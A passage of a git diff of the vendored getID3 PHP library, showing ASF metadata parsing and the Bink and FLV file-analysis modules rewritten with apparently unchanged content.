0; $i < $thisObject['description_records_count']; $i++) { + $descriptionRecord = array(); + + $descriptionRecord['language_list_index'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + $descriptionRecord['stream_number'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + $descriptionRecord['name_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + + $descriptionRecord['data_type'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 2)); + $offset += 2; + $descriptionRecord['data_type_text'] = self::metadataLibraryObjectDataTypeLookup($descriptionRecord['data_type']); + + $descriptionRecord['data_length'] = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset, 4)); + $offset += 4; + + $descriptionRecord['name'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['name_length']); + $offset += $descriptionRecord['name_length']; + + $descriptionRecord['data'] = substr($asf_header_extension_object_data, $offset, $descriptionRecord['data_length']); + $offset += $descriptionRecord['data_length']; + + if (preg_match('#^WM/Picture$#', str_replace("\x00", '', trim($descriptionRecord['name'])))) { + $WMpicture = $this->ASF_WMpicture($descriptionRecord['data']); + foreach ($WMpicture as $key => $value) { + $descriptionRecord['data'] = $WMpicture; + } + unset($WMpicture); + } + + $thisObject['description_record'][$i] = $descriptionRecord; + } + break; + + default: + $unhandled_sections++; + if ($this->GUIDname($thisObject['guid_text'])) { + $this->warning('unhandled Header Extension Object GUID "'.$this->GUIDname($thisObject['guid_text']).'" {'.$thisObject['guid_text'].'} at offset '.($offset - 16 - 8)); + } else { + $this->warning('unknown Header Extension Object GUID {'.$thisObject['guid_text'].'} in at offset '.($offset - 16 - 8)); + } + break; + } + $HeaderExtensionObjectParsed[] = $thisObject; + + $objectOffset += $thisObject['size']; + } + return $HeaderExtensionObjectParsed; + } + + /** + * @param int $id + * + * @return string + */ + public static function metadataLibraryObjectDataTypeLookup($id) { + static $lookup = array( + 0x0000 => 'Unicode string', // The data consists of a sequence of Unicode characters + 0x0001 => 'BYTE array', // The type of the data is implementation-specific + 0x0002 => 'BOOL', // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer. Only 0x0000 or 0x0001 are permitted values + 0x0003 => 'DWORD', // The data is 4 bytes long and should be interpreted as a 32-bit unsigned integer + 0x0004 => 'QWORD', // The data is 8 bytes long and should be interpreted as a 64-bit unsigned integer + 0x0005 => 'WORD', // The data is 2 bytes long and should be interpreted as a 16-bit unsigned integer + 0x0006 => 'GUID', // The data is 16 bytes long and should be interpreted as a 128-bit GUID + ); + return (isset($lookup[$id]) ? $lookup[$id] : 'invalid'); + } + + /** + * @param string $data + * + * @return array + */ + public function ASF_WMpicture(&$data) { + //typedef struct _WMPicture{ + // LPWSTR pwszMIMEType; + // BYTE bPictureType; + // LPWSTR pwszDescription; + // DWORD dwDataLen; + // BYTE* pbData; + //} WM_PICTURE; + + $WMpicture = array(); + + $offset = 0; + $WMpicture['image_type_id'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 1)); + $offset += 1; + $WMpicture['image_type'] = self::WMpictureTypeLookup($WMpicture['image_type_id']); + $WMpicture['image_size'] = getid3_lib::LittleEndian2Int(substr($data, $offset, 4)); + $offset += 4; + + $WMpicture['image_mime'] = ''; + do { + $next_byte_pair = substr($data, $offset, 2); + $offset += 2; + $WMpicture['image_mime'] .= $next_byte_pair; + } while ($next_byte_pair !== "\x00\x00"); + + $WMpicture['image_description'] = ''; + do { + $next_byte_pair = substr($data, $offset, 2); + $offset += 2; + $WMpicture['image_description'] .= $next_byte_pair; + } while ($next_byte_pair !== "\x00\x00"); + + $WMpicture['dataoffset'] = $offset; + $WMpicture['data'] = substr($data, $offset); + + $imageinfo = array(); + $WMpicture['image_mime'] = ''; + $imagechunkcheck = getid3_lib::GetDataImageSize($WMpicture['data'], $imageinfo); + unset($imageinfo); + if (!empty($imagechunkcheck)) { + $WMpicture['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]); + } + if (!isset($this->getid3->info['asf']['comments']['picture'])) { + $this->getid3->info['asf']['comments']['picture'] = array(); + } + $this->getid3->info['asf']['comments']['picture'][] = array('data'=>$WMpicture['data'], 'image_mime'=>$WMpicture['image_mime']); + + return $WMpicture; + } + + /** + * Remove terminator 00 00 and convert UTF-16LE to Latin-1. + * + * @param string $string + * + * @return string + */ + public static function TrimConvert($string) { + return trim(getid3_lib::iconv_fallback('UTF-16LE', 'ISO-8859-1', self::TrimTerm($string)), ' '); + } + + /** + * Remove terminator 00 00. + * + * @param string $string + * + * @return string + */ + public static function TrimTerm($string) { + // remove terminator, only if present (it should be, but...) + if (substr($string, -2) === "\x00\x00") { + $string = substr($string, 0, -2); + } + return $string; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio-video.bink.php b/vendor/james-heinrich/getid3/getid3/module.audio-video.bink.php index a611e5a95f..b59ec674e5 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio-video.bink.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio-video.bink.php @@ -1,76 +1,76 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.bink.php // -// module for analyzing Bink or Smacker audio-video files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_bink extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->error('Bink / Smacker files not properly processed by this version of getID3() ['.$this->getid3->version().']'); - - $this->fseek($info['avdataoffset']); - $fileTypeID = $this->fread(3); - switch ($fileTypeID) { - case 'BIK': - return $this->ParseBink(); - - case 'SMK': - return $this->ParseSmacker(); - - default: - $this->error('Expecting "BIK" or "SMK" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($fileTypeID).'"'); - return false; - } - } - - /** - * @return bool - */ - public function ParseBink() { - $info = &$this->getid3->info; - $info['fileformat'] = 'bink'; - $info['video']['dataformat'] = 'bink'; - - $fileData = 'BIK'.$this->fread(13); - - $info['bink']['data_size'] = getid3_lib::LittleEndian2Int(substr($fileData, 4, 4)); - $info['bink']['frame_count'] = getid3_lib::LittleEndian2Int(substr($fileData, 8, 2)); - - if (($info['avdataend'] - $info['avdataoffset']) != ($info['bink']['data_size'] + 8)) { - $this->error('Probably truncated file: expecting '.$info['bink']['data_size'].' bytes, found '.($info['avdataend'] - $info['avdataoffset'])); - } - - return true; - } - - /** - * @return bool - */ - public function ParseSmacker() { - $info = &$this->getid3->info; - $info['fileformat'] = 'smacker'; - $info['video']['dataformat'] = 'smacker'; - - return true; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.bink.php // +// module for analyzing Bink or Smacker audio-video files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_bink extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->error('Bink / Smacker files not properly processed by this version of getID3() ['.$this->getid3->version().']'); + + $this->fseek($info['avdataoffset']); + $fileTypeID = $this->fread(3); + switch ($fileTypeID) { + case 'BIK': + return $this->ParseBink(); + + case 'SMK': + return $this->ParseSmacker(); + + default: + $this->error('Expecting "BIK" or "SMK" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($fileTypeID).'"'); + return false; + } + } + + /** + * @return bool + */ + public function ParseBink() { + $info = &$this->getid3->info; + $info['fileformat'] = 'bink'; + $info['video']['dataformat'] = 'bink'; + + $fileData = 'BIK'.$this->fread(13); + + $info['bink']['data_size'] = getid3_lib::LittleEndian2Int(substr($fileData, 4, 4)); + $info['bink']['frame_count'] = getid3_lib::LittleEndian2Int(substr($fileData, 8, 2)); + + if (($info['avdataend'] - $info['avdataoffset']) != ($info['bink']['data_size'] + 8)) { + $this->error('Probably truncated file: expecting '.$info['bink']['data_size'].' bytes, found '.($info['avdataend'] - $info['avdataoffset'])); + } + + return true; + } + + /** + * @return bool + */ + public function ParseSmacker() { + $info = &$this->getid3->info; + $info['fileformat'] = 'smacker'; + $info['video']['dataformat'] = 'smacker'; + + return true; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio-video.flv.php b/vendor/james-heinrich/getid3/getid3/module.audio-video.flv.php index b4f97c30f1..3b59e596e3 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio-video.flv.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio-video.flv.php @@ -1,910 +1,910 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio-video.flv.php // -// module for analyzing Shockwave Flash Video files // -// dependencies: NONE // -// // -///////////////////////////////////////////////////////////////// -// // -// FLV module by Seth Kaufman // -// // -// * version 0.1 (26 June 2005) // -// // -// * version 0.1.1 (15 July 2005) // -// minor modifications by James Heinrich // -// // -// * version 0.2 (22 February 2006) // -// Support for On2 VP6 codec and meta information // -// by Steve Webster // -// // -// * version 0.3 (15 June 2006) // -// Modified to not read entire file into memory // -// by James Heinrich // -// // -// * version 0.4 (07 December 2007) // -// Bugfixes for incorrectly parsed FLV dimensions // -// and incorrect parsing of onMetaTag // -// by Evgeny Moysevich // -// // -// * version 0.5 (21 May 2009) // -// Fixed parsing of audio tags and added additional codec // -// details. The duration is now read from onMetaTag (if // -// exists), rather than parsing whole file // -// by Nigel Barnes // -// // -// * version 0.6 (24 May 2009) // -// Better parsing of files with h264 video // -// by Evgeny Moysevich // -// // -// * version 0.6.1 (30 May 2011) // -// prevent infinite loops in expGolombUe() // -// // -// * version 0.7.0 (16 Jul 2013) // -// handle GETID3_FLV_VIDEO_VP6FLV_ALPHA // -// improved AVCSequenceParameterSetReader::readData() // -// by Xander Schouwerwou // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -define('GETID3_FLV_TAG_AUDIO', 8); -define('GETID3_FLV_TAG_VIDEO', 9); -define('GETID3_FLV_TAG_META', 18); - -define('GETID3_FLV_VIDEO_H263', 2); -define('GETID3_FLV_VIDEO_SCREEN', 3); -define('GETID3_FLV_VIDEO_VP6FLV', 4); -define('GETID3_FLV_VIDEO_VP6FLV_ALPHA', 5); -define('GETID3_FLV_VIDEO_SCREENV2', 6); -define('GETID3_FLV_VIDEO_H264', 7); - -define('H264_AVC_SEQUENCE_HEADER', 0); -define('H264_PROFILE_BASELINE', 66); -define('H264_PROFILE_MAIN', 77); -define('H264_PROFILE_EXTENDED', 88); -define('H264_PROFILE_HIGH', 100); -define('H264_PROFILE_HIGH10', 110); -define('H264_PROFILE_HIGH422', 122); -define('H264_PROFILE_HIGH444', 144); -define('H264_PROFILE_HIGH444_PREDICTIVE', 244); - -class getid3_flv extends getid3_handler -{ - const magic = 'FLV'; - - /** - * Break out of the loop if too many frames have been scanned; only scan this - * many if meta frame does not contain useful duration. - * - * @var int - */ - public $max_frames = 100000; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - - $FLVdataLength = $info['avdataend'] - $info['avdataoffset']; - $FLVheader = $this->fread(5); - - $info['fileformat'] = 'flv'; - $info['flv']['header']['signature'] = substr($FLVheader, 0, 3); - $info['flv']['header']['version'] = getid3_lib::BigEndian2Int(substr($FLVheader, 3, 1)); - $TypeFlags = getid3_lib::BigEndian2Int(substr($FLVheader, 4, 1)); - - if ($info['flv']['header']['signature'] != self::magic) { - $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['flv']['header']['signature']).'"'); - unset($info['flv'], $info['fileformat']); - return false; - } - - $info['flv']['header']['hasAudio'] = (bool) ($TypeFlags & 0x04); - $info['flv']['header']['hasVideo'] = (bool) ($TypeFlags & 0x01); - - $FrameSizeDataLength = getid3_lib::BigEndian2Int($this->fread(4)); - $FLVheaderFrameLength = 9; - if ($FrameSizeDataLength > $FLVheaderFrameLength) { - $this->fseek($FrameSizeDataLength - $FLVheaderFrameLength, SEEK_CUR); - } - $Duration = 0; - $found_video = false; - $found_audio = false; - $found_meta = false; - $found_valid_meta_playtime = false; - $tagParseCount = 0; - $info['flv']['framecount'] = array('total'=>0, 'audio'=>0, 'video'=>0); - $flv_framecount = &$info['flv']['framecount']; - while ((($this->ftell() + 16) < $info['avdataend']) && (($tagParseCount++ <= $this->max_frames) || !$found_valid_meta_playtime)) { - $ThisTagHeader = $this->fread(16); - - $PreviousTagLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 0, 4)); - $TagType = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 4, 1)); - $DataLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 5, 3)); - $Timestamp = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 8, 3)); - $LastHeaderByte = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 15, 1)); - $NextOffset = $this->ftell() - 1 + $DataLength; - if ($Timestamp > $Duration) { - $Duration = $Timestamp; - } - - $flv_framecount['total']++; - switch ($TagType) { - case GETID3_FLV_TAG_AUDIO: - $flv_framecount['audio']++; - if (!$found_audio) { - $found_audio = true; - $info['flv']['audio']['audioFormat'] = ($LastHeaderByte >> 4) & 0x0F; - $info['flv']['audio']['audioRate'] = ($LastHeaderByte >> 2) & 0x03; - $info['flv']['audio']['audioSampleSize'] = ($LastHeaderByte >> 1) & 0x01; - $info['flv']['audio']['audioType'] = $LastHeaderByte & 0x01; - } - break; - - case GETID3_FLV_TAG_VIDEO: - $flv_framecount['video']++; - if (!$found_video) { - $found_video = true; - $info['flv']['video']['videoCodec'] = $LastHeaderByte & 0x07; - - $FLVvideoHeader = $this->fread(11); - $PictureSizeEnc = array(); - - if ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H264) { - // this code block contributed by: moysevichØgmail*com - - $AVCPacketType = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 0, 1)); - if ($AVCPacketType == H264_AVC_SEQUENCE_HEADER) { - // read AVCDecoderConfigurationRecord - $configurationVersion = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 1)); - $AVCProfileIndication = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 1)); - $profile_compatibility = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 1)); - $lengthSizeMinusOne = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 1)); - $numOfSequenceParameterSets = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 8, 1)); - - if (($numOfSequenceParameterSets & 0x1F) != 0) { - // there is at least one SequenceParameterSet - // read size of the first SequenceParameterSet - //$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2)); - $spsSize = getid3_lib::LittleEndian2Int(substr($FLVvideoHeader, 9, 2)); - // read the first SequenceParameterSet - $sps = $this->fread($spsSize); - if (strlen($sps) == $spsSize) { // make sure that whole SequenceParameterSet was red - $spsReader = new AVCSequenceParameterSetReader($sps); - $spsReader->readData(); - $info['video']['resolution_x'] = $spsReader->getWidth(); - $info['video']['resolution_y'] = $spsReader->getHeight(); - } - } - } - // end: moysevichØgmail*com - - } elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H263) { - - $PictureSizeType = (getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 3, 2))) >> 7; - $PictureSizeType = $PictureSizeType & 0x0007; - $info['flv']['header']['videoSizeType'] = $PictureSizeType; - switch ($PictureSizeType) { - case 0: - //$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)); - //$PictureSizeEnc <<= 1; - //$info['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8; - //$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2)); - //$PictureSizeEnc <<= 1; - //$info['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8; - - $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 2)) >> 7; - $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)) >> 7; - $info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFF; - $info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFF; - break; - - case 1: - $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 3)) >> 7; - $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 3)) >> 7; - $info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFFFF; - $info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFFFF; - break; - - case 2: - $info['video']['resolution_x'] = 352; - $info['video']['resolution_y'] = 288; - break; - - case 3: - $info['video']['resolution_x'] = 176; - $info['video']['resolution_y'] = 144; - break; - - case 4: - $info['video']['resolution_x'] = 128; - $info['video']['resolution_y'] = 96; - break; - - case 5: - $info['video']['resolution_x'] = 320; - $info['video']['resolution_y'] = 240; - break; - - case 6: - $info['video']['resolution_x'] = 160; - $info['video']['resolution_y'] = 120; - break; - - default: - $info['video']['resolution_x'] = 0; - $info['video']['resolution_y'] = 0; - break; - - } - - } elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_VP6FLV_ALPHA) { - - /* contributed by schouwerwouØgmail*com */ - if (!isset($info['video']['resolution_x'])) { // only when meta data isn't set - $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2)); - $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 2)); - $info['video']['resolution_x'] = ($PictureSizeEnc['x'] & 0xFF) << 3; - $info['video']['resolution_y'] = ($PictureSizeEnc['y'] & 0xFF) << 3; - } - /* end schouwerwouØgmail*com */ - - } - if (!empty($info['video']['resolution_x']) && !empty($info['video']['resolution_y'])) { - $info['video']['pixel_aspect_ratio'] = $info['video']['resolution_x'] / $info['video']['resolution_y']; - } - } - break; - - // Meta tag - case GETID3_FLV_TAG_META: - if (!$found_meta) { - $found_meta = true; - $this->fseek(-1, SEEK_CUR); - $datachunk = $this->fread($DataLength); - $AMFstream = new AMFStream($datachunk); - $reader = new AMFReader($AMFstream); - $eventName = $reader->readData(); - $info['flv']['meta'][$eventName] = $reader->readData(); - unset($reader); - - $copykeys = array('framerate'=>'frame_rate', 'width'=>'resolution_x', 'height'=>'resolution_y', 'audiodatarate'=>'bitrate', 'videodatarate'=>'bitrate'); - foreach ($copykeys as $sourcekey => $destkey) { - if (isset($info['flv']['meta']['onMetaData'][$sourcekey])) { - switch ($sourcekey) { - case 'width': - case 'height': - $info['video'][$destkey] = intval(round($info['flv']['meta']['onMetaData'][$sourcekey])); - break; - case 'audiodatarate': - $info['audio'][$destkey] = getid3_lib::CastAsInt(round($info['flv']['meta']['onMetaData'][$sourcekey] * 1000)); - break; - case 'videodatarate': - case 'frame_rate': - default: - $info['video'][$destkey] = $info['flv']['meta']['onMetaData'][$sourcekey]; - break; - } - } - } - if (!empty($info['flv']['meta']['onMetaData']['duration'])) { - $found_valid_meta_playtime = true; - } - } - break; - - default: - // noop - break; - } - $this->fseek($NextOffset); - } - - $info['playtime_seconds'] = $Duration / 1000; - if ($info['playtime_seconds'] > 0) { - $info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - } - - if ($info['flv']['header']['hasAudio']) { - $info['audio']['codec'] = self::audioFormatLookup($info['flv']['audio']['audioFormat']); - $info['audio']['sample_rate'] = self::audioRateLookup($info['flv']['audio']['audioRate']); - $info['audio']['bits_per_sample'] = self::audioBitDepthLookup($info['flv']['audio']['audioSampleSize']); - - $info['audio']['channels'] = $info['flv']['audio']['audioType'] + 1; // 0=mono,1=stereo - $info['audio']['lossless'] = ($info['flv']['audio']['audioFormat'] ? false : true); // 0=uncompressed - $info['audio']['dataformat'] = 'flv'; - } - if (!empty($info['flv']['header']['hasVideo'])) { - $info['video']['codec'] = self::videoCodecLookup($info['flv']['video']['videoCodec']); - $info['video']['dataformat'] = 'flv'; - $info['video']['lossless'] = false; - } - - // Set information from meta - if (!empty($info['flv']['meta']['onMetaData']['duration'])) { - $info['playtime_seconds'] = $info['flv']['meta']['onMetaData']['duration']; - $info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; - } - if (isset($info['flv']['meta']['onMetaData']['audiocodecid'])) { - $info['audio']['codec'] = self::audioFormatLookup($info['flv']['meta']['onMetaData']['audiocodecid']); - } - if (isset($info['flv']['meta']['onMetaData']['videocodecid'])) { - $info['video']['codec'] = self::videoCodecLookup($info['flv']['meta']['onMetaData']['videocodecid']); - } - return true; - } - - /** - * @param int $id - * - * @return string|false - */ - public static function audioFormatLookup($id) { - static $lookup = array( - 0 => 'Linear PCM, platform endian', - 1 => 'ADPCM', - 2 => 'mp3', - 3 => 'Linear PCM, little endian', - 4 => 'Nellymoser 16kHz mono', - 5 => 'Nellymoser 8kHz mono', - 6 => 'Nellymoser', - 7 => 'G.711A-law logarithmic PCM', - 8 => 'G.711 mu-law logarithmic PCM', - 9 => 'reserved', - 10 => 'AAC', - 11 => 'Speex', - 12 => false, // unknown? - 13 => false, // unknown? - 14 => 'mp3 8kHz', - 15 => 'Device-specific sound', - ); - return (isset($lookup[$id]) ? $lookup[$id] : false); - } - - /** - * @param int $id - * - * @return int|false - */ - public static function audioRateLookup($id) { - static $lookup = array( - 0 => 5500, - 1 => 11025, - 2 => 22050, - 3 => 44100, - ); - return (isset($lookup[$id]) ? $lookup[$id] : false); - } - - /** - * @param int $id - * - * @return int|false - */ - public static function audioBitDepthLookup($id) { - static $lookup = array( - 0 => 8, - 1 => 16, - ); - return (isset($lookup[$id]) ? $lookup[$id] : false); - } - - /** - * @param int $id - * - * @return string|false - */ - public static function videoCodecLookup($id) { - static $lookup = array( - GETID3_FLV_VIDEO_H263 => 'Sorenson H.263', - GETID3_FLV_VIDEO_SCREEN => 'Screen video', - GETID3_FLV_VIDEO_VP6FLV => 'On2 VP6', - GETID3_FLV_VIDEO_VP6FLV_ALPHA => 'On2 VP6 with alpha channel', - GETID3_FLV_VIDEO_SCREENV2 => 'Screen video v2', - GETID3_FLV_VIDEO_H264 => 'Sorenson H.264', - ); - return (isset($lookup[$id]) ? $lookup[$id] : false); - } -} - -class AMFStream -{ - /** - * @var string - */ - public $bytes; - - /** - * @var int - */ - public $pos; - - /** - * @param string $bytes - */ - public function __construct(&$bytes) { - $this->bytes =& $bytes; - $this->pos = 0; - } - - /** - * @return int - */ - public function readByte() { // 8-bit - return ord(substr($this->bytes, $this->pos++, 1)); - } - - /** - * @return int - */ - public function readInt() { // 16-bit - return ($this->readByte() << 8) + $this->readByte(); - } - - /** - * @return int - */ - public function readLong() { // 32-bit - return ($this->readByte() << 24) + ($this->readByte() << 16) + ($this->readByte() << 8) + $this->readByte(); - } - - /** - * @return float|false - */ - public function readDouble() { - return getid3_lib::BigEndian2Float($this->read(8)); - } - - /** - * @return string - */ - public function readUTF() { - $length = $this->readInt(); - return $this->read($length); - } - - /** - * @return string - */ - public function readLongUTF() { - $length = $this->readLong(); - return $this->read($length); - } - - /** - * @param int $length - * - * @return string - */ - public function read($length) { - $val = substr($this->bytes, $this->pos, $length); - $this->pos += $length; - return $val; - } - - /** - * @return int - */ - public function peekByte() { - $pos = $this->pos; - $val = $this->readByte(); - $this->pos = $pos; - return $val; - } - - /** - * @return int - */ - public function peekInt() { - $pos = $this->pos; - $val = $this->readInt(); - $this->pos = $pos; - return $val; - } - - /** - * @return int - */ - public function peekLong() { - $pos = $this->pos; - $val = $this->readLong(); - $this->pos = $pos; - return $val; - } - - /** - * @return float|false - */ - public function peekDouble() { - $pos = $this->pos; - $val = $this->readDouble(); - $this->pos = $pos; - return $val; - } - - /** - * @return string - */ - public function peekUTF() { - $pos = $this->pos; - $val = $this->readUTF(); - $this->pos = $pos; - return $val; - } - - /** - * @return string - */ - public function peekLongUTF() { - $pos = $this->pos; - $val = $this->readLongUTF(); - $this->pos = $pos; - return $val; - } -} - -class AMFReader -{ - /** - * @var AMFStream - */ - public $stream; - - /** - * @param AMFStream $stream - */ - public function __construct(AMFStream $stream) { - $this->stream = $stream; - } - - /** - * @return mixed - */ - public function readData() { - $value = null; - - $type = $this->stream->readByte(); - switch ($type) { - - // Double - case 0: - $value = $this->readDouble(); - break; - - // Boolean - case 1: - $value = $this->readBoolean(); - break; - - // String - case 2: - $value = $this->readString(); - break; - - // Object - case 3: - $value = $this->readObject(); - break; - - // null - case 6: - return null; - - // Mixed array - case 8: - $value = $this->readMixedArray(); - break; - - // Array - case 10: - $value = $this->readArray(); - break; - - // Date - case 11: - $value = $this->readDate(); - break; - - // Long string - case 13: - $value = $this->readLongString(); - break; - - // XML (handled as string) - case 15: - $value = $this->readXML(); - break; - - // Typed object (handled as object) - case 16: - $value = $this->readTypedObject(); - break; - - // Long string - default: - $value = '(unknown or unsupported data type)'; - break; - } - - return $value; - } - - /** - * @return float|false - */ - public function readDouble() { - return $this->stream->readDouble(); - } - - /** - * @return bool - */ - public function readBoolean() { - return $this->stream->readByte() == 1; - } - - /** - * @return string - */ - public function readString() { - return $this->stream->readUTF(); - } - - /** - * @return array - */ - public function readObject() { - // Get highest numerical index - ignored -// $highestIndex = $this->stream->readLong(); - - $data = array(); - $key = null; - - while ($key = $this->stream->readUTF()) { - $data[$key] = $this->readData(); - } - // Mixed array record ends with empty string (0x00 0x00) and 0x09 - if (($key == '') && ($this->stream->peekByte() == 0x09)) { - // Consume byte - $this->stream->readByte(); - } - return $data; - } - - /** - * @return array - */ - public function readMixedArray() { - // Get highest numerical index - ignored - $highestIndex = $this->stream->readLong(); - - $data = array(); - $key = null; - - while ($key = $this->stream->readUTF()) { - if (is_numeric($key)) { - $key = (int) $key; - } - $data[$key] = $this->readData(); - } - // Mixed array record ends with empty string (0x00 0x00) and 0x09 - if (($key == '') && ($this->stream->peekByte() == 0x09)) { - // Consume byte - $this->stream->readByte(); - } - - return $data; - } - - /** - * @return array - */ - public function readArray() { - $length = $this->stream->readLong(); - $data = array(); - - for ($i = 0; $i < $length; $i++) { - $data[] = $this->readData(); - } - return $data; - } - - /** - * @return float|false - */ - public function readDate() { - $timestamp = $this->stream->readDouble(); - $timezone = $this->stream->readInt(); - return $timestamp; - } - - /** - * @return string - */ - public function readLongString() { - return $this->stream->readLongUTF(); - } - - /** - * @return string - */ - public function readXML() { - return $this->stream->readLongUTF(); - } - - /** - * @return array - */ - public function readTypedObject() { - $className = $this->stream->readUTF(); - return $this->readObject(); - } -} - -class AVCSequenceParameterSetReader -{ - /** - * @var string - */ - public $sps; - public $start = 0; - public $currentBytes = 0; - public $currentBits = 0; - - /** - * @var int - */ - public $width; - - /** - * @var int - */ - public $height; - - /** - * @param string $sps - */ - public function __construct($sps) { - $this->sps = $sps; - } - - public function readData() { - $this->skipBits(8); - $this->skipBits(8); - $profile = $this->getBits(8); // read profile - if ($profile > 0) { - $this->skipBits(8); - $level_idc = $this->getBits(8); // level_idc - $this->expGolombUe(); // seq_parameter_set_id // sps - $this->expGolombUe(); // log2_max_frame_num_minus4 - $picOrderType = $this->expGolombUe(); // pic_order_cnt_type - if ($picOrderType == 0) { - $this->expGolombUe(); // log2_max_pic_order_cnt_lsb_minus4 - } elseif ($picOrderType == 1) { - $this->skipBits(1); // delta_pic_order_always_zero_flag - $this->expGolombSe(); // offset_for_non_ref_pic - $this->expGolombSe(); // offset_for_top_to_bottom_field - $num_ref_frames_in_pic_order_cnt_cycle = $this->expGolombUe(); // num_ref_frames_in_pic_order_cnt_cycle - for ($i = 0; $i < $num_ref_frames_in_pic_order_cnt_cycle; $i++) { - $this->expGolombSe(); // offset_for_ref_frame[ i ] - } - } - $this->expGolombUe(); // num_ref_frames - $this->skipBits(1); // gaps_in_frame_num_value_allowed_flag - $pic_width_in_mbs_minus1 = $this->expGolombUe(); // pic_width_in_mbs_minus1 - $pic_height_in_map_units_minus1 = $this->expGolombUe(); // pic_height_in_map_units_minus1 - - $frame_mbs_only_flag = $this->getBits(1); // frame_mbs_only_flag - if ($frame_mbs_only_flag == 0) { - $this->skipBits(1); // mb_adaptive_frame_field_flag - } - $this->skipBits(1); // direct_8x8_inference_flag - $frame_cropping_flag = $this->getBits(1); // frame_cropping_flag - - $frame_crop_left_offset = 0; - $frame_crop_right_offset = 0; - $frame_crop_top_offset = 0; - $frame_crop_bottom_offset = 0; - - if ($frame_cropping_flag) { - $frame_crop_left_offset = $this->expGolombUe(); // frame_crop_left_offset - $frame_crop_right_offset = $this->expGolombUe(); // frame_crop_right_offset - $frame_crop_top_offset = $this->expGolombUe(); // frame_crop_top_offset - $frame_crop_bottom_offset = $this->expGolombUe(); // frame_crop_bottom_offset - } - $this->skipBits(1); // vui_parameters_present_flag - // etc - - $this->width = (($pic_width_in_mbs_minus1 + 1) * 16) - ($frame_crop_left_offset * 2) - ($frame_crop_right_offset * 2); - $this->height = ((2 - $frame_mbs_only_flag) * 